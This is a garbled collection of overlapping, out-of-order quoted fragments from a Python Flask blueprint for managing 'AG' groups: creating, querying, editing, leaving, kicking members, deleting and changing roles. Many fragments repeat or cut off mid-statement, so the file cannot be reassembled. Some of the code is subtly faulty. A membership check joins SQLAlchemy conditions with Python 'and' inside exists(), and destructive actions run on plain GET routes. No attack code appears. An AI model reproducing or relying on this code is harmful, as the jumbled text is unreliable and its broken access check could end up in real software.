"requires_ag from app.util.user import get_user_by_username # import additional blueprints regarding applications, invitations and",
"Query an AG specified by its id :param ag_id: A specific id :return:",
"and messages of ags from app.blueprints.api.v1.ag import applications, invitations, messages # import regex",
"for creating an ag from config.regex import AGRegex # declare the blueprint variable",
"a new AG. The request body has to include the following: :key: name:",
"delete the ag db.session.delete(ag) # save the changes db.session.commit() # return to the",
"edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the user is not an actual user",
"request values name = request.values.get('name') display_name = request.values.get('display_name') description = request.values.get('description') # check",
"is a mentor of the ag # add the user_ag association and the",
"redirect to the ag dashboard db.session.commit() flash(f'Successfully changed the roles in {ag.display_name}', 'success')",
"url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed marshmallow schemas ag_schema_intern = AGSchemaIntern() ag_schema =",
"throw error flash(u'An AG needs a minimum of one Mentor', 'error') return redirect(url_for('ag.ag_settings',",
"''' basic blueprint routes for interacting with an AG ''' # import third",
"return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) # check that the",
"and \\ UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>',",
"entry ag: AG = AG() ag.name = name ag.display_name = display_name ag.description =",
"skip :default: 0 :return: JSON Representation of the AGs ''' # read request",
"save a success message flash(f'You sucessfully left the AG {ag.name}', 'success') # save",
"flash, redirect from sqlalchemy.sql import exists, and_ from werkzeug.exceptions import BadRequest, PreconditionFailed #",
"that the requester is authenticated/logined @requires_auth() # check @requires_mentor() # check that the",
"will be set to 20 :default: 5 :key: offset: Int how many entries",
"AGs ''' # read request params and set default if not set count",
"entry, so the user is no member anymore and left the ag user_ag.role",
"url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed marshmallow schemas ag_schema_intern = AGSchemaIntern()",
"mentors left if not ag.mentors: # throw error flash(u'An AG needs a minimum",
"association bewteen the request user and the ag --> get filled by @requires_mentor",
"no member anymore and left the ag user_ag.role = 'NONE' user_ag.status = 'LEFT'",
":param ag_id: AG id for which ag the provided values should be changed",
"result for this user <==> the user is in the ag if edit_user_ag:",
"# simulate the changes db.session.flush() # if there are no members left in",
"with config etc. from app import app # import database models from app.models.ag",
"redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that the requester is authenticated/logined @requires_auth() # check",
"@bp.route('/name/<ag_name>', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() # check that",
"== g.session.user_id and \\ UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag),",
"# query the user and his associatin user = get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id,",
"if not ag.actual_users: # delete the ag and return to the dashboard db.session.delete(ag)",
"the schema for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id ==",
"register the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed",
"user_ag, ag): ''' Update the roles of users in an ag The Request",
"g, url_for, flash, redirect from sqlalchemy.sql import exists, and_ from werkzeug.exceptions import BadRequest,",
"import app # import database models from app.models.ag import AG, AGSchema, AGSchemaIntern from",
"BadRequest, PreconditionFailed # import database instance from app.models import db # import app",
"following: :key: count: Int with the count how much ags to return -->",
"kick_user(ag_name, user_name, ag, user_ag): ''' kick a user out of an ag :param",
"with the saved success message to the dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') #",
"and the ag --> get filled by @requires_mentor :param ag: database entry of",
"database flash(f'You sucessfully kicked {user.username} from the AG {ag.display_name}', 'success') db.session.commit() # return",
"value got changed, merge the entry to the database and return a success",
"'NONE' user_ag.status = 'LEFT' # simulate the changes db.session.flush() # if there are",
"is no Mentor left afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else: #",
"all ags (with limit and offset) all_ags = AG.query.offset(offset).limit(count).all() # return a json",
"ag db.session.delete(ag) # save the changes db.session.commit() # return to the dashboard with",
"add it to the params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag): ''' Query an AG",
"messages # import regex config for creating an ag from config.regex import AGRegex",
"# check if the requester has a association to the ag # add",
"db.session.add(ag) db.session.flush() # Create the association entry to the creating user, so he",
"and the ag to the params/kwargs @requires_mentor() def change_ag_values(ag_id, ag, user_ag): ''' Change",
"db.session.commit() return jsonify({'status': 'success'}), 200 # else return a BadRequest message else: return",
"simulate the changes db.session.flush() # if there are no members left in the",
"request.values.get('name') display_name = request.values.get('display_name') description = request.values.get('description') # check that the ag name",
"to the DB to create a new id db.session.add(ag) db.session.flush() # Create the",
"the ag entry if display_name is not None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name =",
"value_changed = True if description is not None and bool(re.match(AGRegex.description, description)): ag.description =",
"default=5, type=int) offset = request.args.get('offset', default=0, type=int) # adjust to a max of",
"human read able (can contain spaces etc.) :key: description: A description of the",
"# check that the requester is authenticated/logined @requires_auth() # check @requires_mentor() # check",
"# declare the blueprint variable for this blueprint bp = Blueprint('ag_api', __name__) #",
"the database flash(f'You sucessfully kicked {user.username} from the AG {ag.display_name}', 'success') db.session.commit() #",
"description ag.color = request.values.get('color', default='primary') # Add the AG entry to the DB",
"mentor user_ag = UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id = ag.id user_ag.status = 'ACTIVE'",
"edited automatic filled params :param user_ag: database entry of the association bewteen the",
"''' kick a user out of an ag :param ag_name: name of the",
"= request.values.get('description', default=None) value_changed = False # checks if the display_name or description",
"flash(f'You cannot kick the last Mentor of {ag.display_name}', 'error') # else else: #",
"''' Create a new AG. The request body has to include the following:",
"# dont save the changes to the database and return to the ag",
"user/user_id passed by the form for user_id in request.values: # the role the",
"association entry to the creating user, so he is added as mentor user_ag",
"of the ag to be deleted automatic filled params :param user_ag: database entry",
"edit_user_ag.role = 'NONE' edit_user_ag.status = 'KICKED' # simulate the changes db.session.flush() # if",
"every user/user_id passed by the form for user_id in request.values: # the role",
"JSON representation of the AG ''' # if the requester is a member",
"from app.util import requires_auth from app.util.assocations import requires_mentor, requires_member_association from app.util.ag import requires_ag",
"the AG entry to the DB to create a new id db.session.add(ag) db.session.flush()",
"name and displayname is not used before and # check that the values",
"include the following: :key: name: AG name used to identify the ag (eg.",
"for a member # else --> return the schema for a foreign if",
"default if not set count = request.args.get('count', default=5, type=int) offset = request.args.get('offset', default=0,",
"display_name :key: description: String with new description :param ag_id: AG id for which",
"user = get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the user is not",
"the database and redirect to the ag dashboard db.session.commit() flash(f'Successfully changed the roles",
"return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update the entry, so the user is no",
"error flash(u'An AG needs a minimum of one Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name))",
"AG ''' # import third party modules import re from flask import Blueprint,",
"cannot leave an AG, when there is no Mentor left afterwards', 'error') return",
"# check that the requester is a mentor of the ag # add",
"# save the changes db.session.commit() # return to the dashboard with a success",
"a member of the ag --> return the schema for a member #",
"the association between the user to be edited an the ag edit_user_ag =",
"a BadRequest message else: return BadRequest() @bp.route('/', methods=['GET']) # check that the requester",
"in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update the entry, so the user",
"association to the ag # add the association and the ag to the",
"ag to the params/kwargs @requires_mentor() def kick_user(ag_name, user_name, ag, user_ag): ''' kick a",
"that the ag with the ag_id exist and add it to the params/kwargs",
"return to the dashboard with a success message flash(f'You successfully deleted the AG",
"blueprint variable for this blueprint bp = Blueprint('ag_api', __name__) # register the additional",
"name used to identify the ag (eg. /ag/<name>) :key: display_name: AG name that",
"cannot kick the last Mentor of {ag.display_name}', 'error') # else else: # save",
"a association to the ag # add the association and the ag to",
"an the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id == ag.id)).scalar() # if",
"= AG() ag.name = name ag.display_name = display_name ag.description = description ag.color =",
"query the database entry of the association between the user to be edited",
"def delete_ag(ag_name, ag, user_ag): ''' delete an ag :param ag_name: name of the",
"up to 20 ags The request body may include the following: :key: count:",
"ag.display_name = display_name value_changed = True if description is not None and bool(re.match(AGRegex.description,",
"Mentor of {ag.display_name}', 'error') # else else: # save a success message and",
"role = request.values.get(user_id) # query the database entry of the association between the",
"def get_ag_by_name(ag_name, ag): ''' Query an AG specified by its unique name :param",
":param user_ag: database entry of the association bewteen the request user and the",
"add the user_ag association and the ag to the params/kwargs @requires_mentor() def update_users(ag_name,",
"= request.values.get('description') # check that the ag name and displayname is not used",
"dashboard with a error message flash(f'You cannot kick {user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard',",
"# import additional blueprints regarding applications, invitations and messages of ags from app.blueprints.api.v1.ag",
"the user_ag association and the ag to the params/kwargs @requires_mentor() def update_users(ag_name, user_ag,",
"rquest values --> for every user/user_id passed by the form for user_id in",
"read able (can contain spaces etc.) :key: description: A description of the AG",
"redirect to the ag dashboard ''' # for every key in rquest values",
"read request values name = request.values.get('name') display_name = request.values.get('display_name') description = request.values.get('description') #",
"edit_user_ag.role == 'NONE': # return to the ag dashboard with a error message",
"the dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that the requester is authenticated/logined",
"return to the ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that the",
"db.session.flush() # save a success message flash(f'You sucessfully left and deleted the AG",
"ag # return a error message if user_ag.role == 'NONE': flash('You cannot leave",
"Query up to 20 ags The request body may include the following: :key:",
"the user to be kicked out automatic filled params :param user_ag: database entry",
"association and the ag to the params/kwargs @requires_mentor() def change_ag_values(ag_id, ag, user_ag): '''",
"return redirect(url_for('index')) # else if there are no mentors left elif not ag.mentors:",
"marshmallow schemas ag_schema_intern = AGSchemaIntern() ag_schema = AGSchema() ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST'])",
"ag, user_ag): ''' leave the specified ag :param ag_name: name of the ag",
"user out of an ag :param ag_name: name of the ag to kick",
"request vaalues display_name = request.values.get('display_name', default=None) description = request.values.get('description', default=None) value_changed = False",
"the roles of users in an ag The Request body includes following: :key:",
"AG. The request body has to include the following: :key: name: AG name",
"if db.session.query(exists().where(AG.name == name)).scalar() or not bool( re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}), 400",
"query all ags (with limit and offset) all_ags = AG.query.offset(offset).limit(count).all() # return a",
"ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() #",
"= AGSchema(many=True) @bp.route('/', methods=['POST']) # check that the requester is authenticated/logined @requires_auth() def",
"additional blueprints regarding applications, invitations and messages of ags from app.blueprints.api.v1.ag import applications,",
"left the AG {ag.name}', 'success') # save the cganges to the database and",
"of the ag to be edited automatic filled params :param user_ag: database entry",
"ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) # check that the requester",
"a success message flash(f'You sucessfully left the AG {ag.name}', 'success') # save the",
"association entry and save the database changes db.session.add(user_ag) db.session.commit() # return a success",
"the count how much ags to return --> if greater than 20, it",
"the entry, so the user is no member anymore and left the ag",
"params/kwargs @requires_mentor() def change_ag_values(ag_id, ag, user_ag): ''' Change values of an AG. The",
"the association entry to the creating user, so he is added as mentor",
"creating an ag from config.regex import AGRegex # declare the blueprint variable for",
"url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) # check that the requester is authenticated/logined @requires_auth()",
"the AG :return: If everything went as it should, the newly created AG",
"None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name value_changed = True if description is",
"ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST']) # check that the requester is authenticated/logined @requires_auth()",
"return to the dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully left and deleted the AG",
"params/kwargs @requires_mentor() def delete_ag(ag_name, ag, user_ag): ''' delete an ag :param ag_name: name",
"to include the following: :key: name: AG name used to identify the ag",
"he is added as mentor user_ag = UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id =",
"@requires_member_association() def leave_ag(ag_name, ag, user_ag): ''' leave the specified ag :param ag_name: name",
"kicked {user.username} from the AG {ag.display_name}', 'success') db.session.commit() # return to the ag",
"return to the ag dashboard with a error message flash(f'You cannot kick {user.username}",
"the changes db.session.commit() # return to the dashboard with a success message flash(f'You",
"is not used before and # check that the values match the regex",
"includes following: :key: <user_id>: unique database id of the user --> :value: <role>",
"ag if not ag.actual_users: # delete the ag db.session.delete(ag) db.session.flush() # save a",
"a minimum of one Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there are",
"values name = request.values.get('name') display_name = request.values.get('display_name') description = request.values.get('description') # check that",
"party modules import re from flask import Blueprint, request, jsonify, g, url_for, flash,",
"Blueprint('ag_api', __name__) # register the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages')",
"else: return BadRequest() @bp.route('/', methods=['GET']) # check that the requester is authenticated/logined @requires_auth()",
"# return a success message return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>',",
"AG {ag.display_name}', 'success') return redirect(url_for('index')) # else if there are no mentors left",
"body includes following: :key: <user_id>: unique database id of the user --> :value:",
"sucessfully left and deleted the AG {ag.display_name}', 'success') return redirect(url_for('index')) # else if",
"the needed marshmallow schemas ag_schema_intern = AGSchemaIntern() ag_schema = AGSchema() ags_schema = AGSchema(many=True)",
"@bp.route('/', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() def get_all_ags(): '''",
"an AG. The request body may include the following: :key: display_name: String with",
"needs a minimum of one Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there",
"a error message if db.session.query(exists().where(AG.name == name)).scalar() or not bool( re.match(AGRegex.name, name)): return",
"user_name: username of the user to be kicked out automatic filled params :param",
"by its id :param ag_id: A specific id :return: JSON representation of the",
"to be deleted automatic filled params :param user_ag: database entry of the association",
"entry to the creating user, so he is added as mentor user_ag =",
"and his associatin user = get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the",
"applications, invitations and messages of ags from app.blueprints.api.v1.ag import applications, invitations, messages #",
"if not bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}), 400 # create a new database",
"save the cganges to the database and return with the saved success message",
"the params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag): ''' Query an AG specified by its",
"@requires_mentor :param ag: database entry of the ag --> get filled by @requires_mentor",
"in request.values: # the role the user got assigned to be role =",
"the saved success message to the dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check",
":param ag_id: A specific id :return: JSON representation of the AG ''' #",
"blueprint bp = Blueprint('ag_api', __name__) # register the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp,",
"import database models from app.models.ag import AG, AGSchema, AGSchemaIntern from app.models.associations import UserAG",
"greater than 20, it will be set to 20 :default: 5 :key: offset:",
"user is not an actual user if edit_user_ag is None or edit_user_ag.role ==",
"association entry, so the user is not a member of the ag anymore",
"association bewteen the request user and the ag --> get filled by @requires_member_association",
"id of the user --> :value: <role> --> 'MENTOR' or 'PARTICIPIANT' :param ag_name:",
"are still mentors # --> save changes to the database and redirect to",
"by @requires_member_association :return: redirect to the dashboard ''' # if the user is",
"# return a error message # dont save the changes to the database",
"user_name, ag, user_ag): ''' kick a user out of an ag :param ag_name:",
"= description value_changed = True # if some value got changed, merge the",
"import app with config etc. from app import app # import database models",
"the AG {ag.name}', 'success') # else if there are no mentors left, but",
"# if there are no members left in the ag if not ag.actual_users:",
"the following: :key: name: AG name used to identify the ag (eg. /ag/<name>)",
"dashboard with a success message flash(f'You successfully deleted the AG {ag.display_name}', 'success') return",
"transmitted # if so update the ag entry if display_name is not None",
"an AG you are not in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update",
"the requester is authenticated/logined @requires_auth() # check that the requester is a mentor",
"the AGs ''' # read request params and set default if not set",
"simulate the changes db.session.flush() # if there are no members left if not",
"return a error message # dont save the changes to the database and",
"if something isn't right return a error message if db.session.query(exists().where(AG.name == name)).scalar() or",
"dont save the changes to the database and return to the ag dashboard",
"type=int) # adjust to a max of 20 if count > 20: count",
"import AGRegex # declare the blueprint variable for this blueprint bp = Blueprint('ag_api',",
"5 :key: offset: Int how many entries to skip :default: 0 :return: JSON",
"user_id in request.values: # the role the user got assigned to be role",
"ag, user_ag): ''' kick a user out of an ag :param ag_name: name",
"ag with the ag_id exist and add it to the params/kwargs @requires_ag() def",
"ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id == ag.id)).scalar() # if there is",
"return BadRequest() @bp.route('/', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() def",
"# delete the ag db.session.delete(ag) # save the changes db.session.commit() # return to",
"UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) #",
"kick {user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else # change the association",
"@requires_mentor() def update_users(ag_name, user_ag, ag): ''' Update the roles of users in an",
"the schema for a member # else --> return the schema for a",
":param name: A specific AG name :return: JSON representation of the AG '''",
"request user and the ag --> get filled by @requires_mentor :param ag: database",
":value: <role> --> 'MENTOR' or 'PARTICIPIANT' :param ag_name: ag_name of the ag to",
"--> save changes to the database and redirect to the ag dashboard db.session.commit()",
"success message and save the changes to the database flash(f'You sucessfully kicked {user.username}",
"is authenticated/logined @requires_auth() # check that the requester is a mentor of the",
"# save a success message and save the changes to the database flash(f'You",
"its id :param ag_id: A specific id :return: JSON representation of the AG",
"the requester has a association to the ag # add the association and",
"an ag :param ag_name: name of the ag to be deleted automatic filled",
"got transmitted # if so update the ag entry if display_name is not",
"his role and simulate the changes edit_user_ag.role = role db.session.flush() # if there",
"regarding applications, invitations and messages of ags from app.blueprints.api.v1.ag import applications, invitations, messages",
"= request.values.get('display_name', default=None) description = request.values.get('description', default=None) value_changed = False # checks if",
"the database and return to the ag dashboard flash(f'You cannot leave an AG,",
"the requester is authenticated/logined @requires_auth() # check that the ag with the ag_id",
"and offset) all_ags = AG.query.offset(offset).limit(count).all() # return a json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting',",
"db.session.flush() # Create the association entry to the creating user, so he is",
"if some value got changed, merge the entry to the database and return",
"@requires_mentor() def kick_user(ag_name, user_name, ag, user_ag): ''' kick a user out of an",
"which ag the provided values should be changed :return: ''' # read the",
"dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that the requester is authenticated/logined @requires_auth()",
"mentors left, but still members elif not ag.mentors: # return a error message",
"Query an AG specified by its unique name :param name: A specific AG",
"kicked out automatic filled params :param user_ag: database entry of the association bewteen",
"@bp.route('<ag_name>/leave') # check that the requester is authenticated/logined @requires_auth() # check if the",
"modules import re from flask import Blueprint, request, jsonify, g, url_for, flash, redirect",
"Create a new AG. The request body has to include the following: :key:",
"and his status is kicked edit_user_ag.role = 'NONE' edit_user_ag.status = 'KICKED' # simulate",
"redirect to the dashboard ''' # delete the ag db.session.delete(ag) # save the",
"for this user <==> the user is in the ag if edit_user_ag: #",
"@requires_member_association :return: redirect to the dashboard ''' # delete the ag db.session.delete(ag) #",
"methods=['GET']) # check that the requester is authenticated/logined @requires_auth() # check that the",
"# return to the ag dashboard with a error message flash(f'You cannot kick",
"association and the ag to the params/kwargs @requires_member_association() def leave_ag(ag_name, ag, user_ag): '''",
"database models from app.models.ag import AG, AGSchema, AGSchemaIntern from app.models.associations import UserAG #",
"== name)).scalar() or not bool( re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name",
"some value got changed, merge the entry to the database and return a",
"status is kicked edit_user_ag.role = 'NONE' edit_user_ag.status = 'KICKED' # simulate the changes",
"# Create the association entry to the creating user, so he is added",
"of the user --> :value: <role> --> 'MENTOR' or 'PARTICIPIANT' :param ag_name: ag_name",
"# update his role and simulate the changes edit_user_ag.role = role db.session.flush() #",
"# else: update the entry, so the user is no member anymore and",
"ag to the params/kwargs @requires_mentor() def update_users(ag_name, user_ag, ag): ''' Update the roles",
"import requires_auth from app.util.assocations import requires_mentor, requires_member_association from app.util.ag import requires_ag from app.util.user",
"are not in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update the entry, so",
"to be edited automatic filled params :param user_ag: database entry of the association",
"ag.name = name ag.display_name = display_name ag.description = description ag.color = request.values.get('color', default='primary')",
"400 if db.session.query(exists().where(AG.display_name == display_name)).scalar() or not bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}),",
"database changes db.session.add(user_ag) db.session.commit() # return a success message return jsonify({'status': 'success', 'redirect':",
"ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) # check that the requester",
"ag_name=ag_name)) # else: update the entry, so the user is no member anymore",
"db.session.commit() # return a success message return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200",
"''' # read the request vaalues display_name = request.values.get('display_name', default=None) description = request.values.get('description',",
"if there are no mentors left, but still members elif not ag.mentors: #",
"and save the changes to the database flash(f'You sucessfully kicked {user.username} from the",
"requester is authenticated/logined @requires_auth() def get_all_ags(): ''' Query up to 20 ags The",
"''' Query up to 20 ags The request body may include the following:",
"AG you are not in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update the",
"ag :param ag_name: name of the ag to kick the user out :param",
"the changes db.session.flush() # if there are no members left in the ag",
"there are still mentors # --> save changes to the database and redirect",
"display_name or description got transmitted # if so update the ag entry if",
"g.session.user_id user_ag.ag_id = ag.id user_ag.status = 'ACTIVE' user_ag.role = 'MENTOR' # add the",
"used before and # check that the values match the regex pattern #",
"Int how many entries to skip :default: 0 :return: JSON Representation of the",
"and bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name value_changed = True if description is not",
"ag dashboard db.session.commit() flash(f'Successfully changed the roles in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name))",
"redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there are still mentors # --> save changes to",
"if edit_user_ag is None or edit_user_ag.role == 'NONE': # return to the ag",
"if not ag.actual_users: # delete the ag db.session.delete(ag) db.session.flush() # save a success",
"name of the ag to be deleted automatic filled params :param user_ag: database",
"{ag.display_name}', 'success') db.session.commit() # return to the ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete')",
"that the requester is authenticated/logined @requires_auth() # check if the requester has a",
"and save the database changes db.session.add(user_ag) db.session.commit() # return a success message return",
"edit_user_ag is None or edit_user_ag.role == 'NONE': # return to the ag dashboard",
"@requires_ag() def get_ag_by_id(ag_id, ag): ''' Query an AG specified by its id :param",
"message flash(f'You sucessfully left and deleted the AG {ag.name}', 'success') # else if",
"set to 20 :default: 5 :key: offset: Int how many entries to skip",
":key: name: AG name used to identify the ag (eg. /ag/<name>) :key: display_name:",
"Add the AG entry to the DB to create a new id db.session.add(ag)",
"= 20 # query all ags (with limit and offset) all_ags = AG.query.offset(offset).limit(count).all()",
"ag.display_name = display_name ag.description = description ag.color = request.values.get('color', default='primary') # Add the",
"'NONE' edit_user_ag.status = 'KICKED' # simulate the changes db.session.flush() # if there are",
"message if db.session.query(exists().where(AG.name == name)).scalar() or not bool( re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}),",
"AG, when there is no Mentor left afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) #",
"AG :return: If everything went as it should, the newly created AG is",
":param ag_name: name of the ag to leave automatic filled params :param user_ag:",
"name ag.display_name = display_name ag.description = description ag.color = request.values.get('color', default='primary') # Add",
"the AG ''' # if the requester is a member of the ag",
"schema for a member # else --> return the schema for a foreign",
"a member # else --> return the schema for a foreign if db.session.query(exists().where(UserAG.user_id",
"user_ag): ''' Change values of an AG. The request body may include the",
"ag): ''' Query an AG specified by its id :param ag_id: A specific",
"got assigned to be role = request.values.get(user_id) # query the database entry of",
"= ag.id user_ag.status = 'ACTIVE' user_ag.role = 'MENTOR' # add the association entry",
"changed, merge the entry to the database and return a success message if",
":param user_name: username of the user to be kicked out automatic filled params",
"db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that the requester is authenticated/logined @requires_auth() #",
"'success'}), 200 # else return a BadRequest message else: return BadRequest() @bp.route('/', methods=['GET'])",
"members elif not ag.mentors: # return a error message # dont save the",
"200 @bp.route('/id/<ag_id>', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() # check",
"methods=['PUT']) # check that the requester is authenticated/logined @requires_auth() # check that the",
"''' # if the user is not a actual user of the ag",
":param ag: database entry of the ag --> get filled by @requires_member_association :return:",
"return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that the requester is authenticated/logined @requires_auth() # check",
"import BadRequest, PreconditionFailed # import database instance from app.models import db # import",
"return to the ag dashboard flash(f'You cannot leave an AG, when there is",
"return jsonify({'status': 'success'}), 200 # else return a BadRequest message else: return BadRequest()",
"edit_user_ag.status = 'KICKED' # simulate the changes db.session.flush() # if there are no",
"default='primary') # Add the AG entry to the DB to create a new",
"200 @bp.route('/<ag_id>', methods=['PUT']) # check that the requester is authenticated/logined @requires_auth() # check",
"to the ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that the requester",
"by @requires_member_association :param ag: database entry of the ag --> get filled by",
"the user to be edited an the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\",
"filled by @requires_member_association :param ag: database entry of the ag --> get filled",
"and left the ag user_ag.role = 'NONE' user_ag.status = 'LEFT' # simulate the",
"got changed, merge the entry to the database and return a success message",
"request.values.get('description', default=None) value_changed = False # checks if the display_name or description got",
"flash(f'You sucessfully left and deleted the AG {ag.name}', 'success') # else if there",
"filled by @requires_mentor :param ag: database entry of the ag --> get filled",
"his status is kicked edit_user_ag.role = 'NONE' edit_user_ag.status = 'KICKED' # simulate the",
"able (can contain spaces etc.) :key: description: A description of the AG :return:",
"update the entry, so the user is no member anymore and left the",
"no mentors left, but still members elif not ag.mentors: # return a error",
"by @requires_member_association :return: redirect to the dashboard ''' # query the user and",
"The request body may include the following: :key: display_name: String with new display_name",
"from app.models.associations import UserAG # import utilities from app.util import requires_auth from app.util.assocations",
"import exists, and_ from werkzeug.exceptions import BadRequest, PreconditionFailed # import database instance from",
"''' # query the user and his associatin user = get_user_by_username(user_name) edit_user_ag =",
"user_ag.status = 'ACTIVE' user_ag.role = 'MENTOR' # add the association entry and save",
"# read request params and set default if not set count = request.args.get('count',",
"request body may include the following: :key: display_name: String with new display_name :key:",
"count > 20: count = 20 # query all ags (with limit and",
"to the params/kwargs @requires_mentor() def update_users(ag_name, user_ag, ag): ''' Update the roles of",
"else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) # check that the requester is authenticated/logined",
"else if there are no mentors left elif not ag.mentors: # save a",
"user of the ag # return a error message if user_ag.role == 'NONE':",
"anymore and left the ag user_ag.role = 'NONE' user_ag.status = 'LEFT' # simulate",
"role and simulate the changes edit_user_ag.role = role db.session.flush() # if there are",
"not an actual user if edit_user_ag is None or edit_user_ag.role == 'NONE': #",
"save a success message flash(f'You sucessfully left and deleted the AG {ag.name}', 'success')",
"interacting with an AG ''' # import third party modules import re from",
"member of the ag anymore # and his status is kicked edit_user_ag.role =",
"the params/kwargs @requires_mentor() def update_users(ag_name, user_ag, ag): ''' Update the roles of users",
"import applications, invitations, messages # import regex config for creating an ag from",
"delete the ag and return to the dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully left",
"'display_name'}), 400 if not bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}), 400 # create a",
"user_ag): ''' leave the specified ag :param ag_name: name of the ag to",
"blueprints regarding applications, invitations and messages of ags from app.blueprints.api.v1.ag import applications, invitations,",
"to the params/kwargs @requires_member_association() def leave_ag(ag_name, ag, user_ag): ''' leave the specified ag",
"--> get filled by @requires_member_association :return: redirect to the dashboard ''' # if",
"that the requester is authenticated/logined @requires_auth() # check that the requester is a",
"the ag with the ag_name exist and add it to the params/kwargs @requires_ag()",
"changes to the database flash(f'You sucessfully kicked {user.username} from the AG {ag.display_name}', 'success')",
"= True if description is not None and bool(re.match(AGRegex.description, description)): ag.description = description",
"deleted the AG {ag.display_name}', 'success') return redirect(url_for('index')) # else if there are no",
"Change values of an AG. The request body may include the following: :key:",
"message else: return BadRequest() @bp.route('/', methods=['GET']) # check that the requester is authenticated/logined",
"a mentor of the ag # add the user_ag association and the ag",
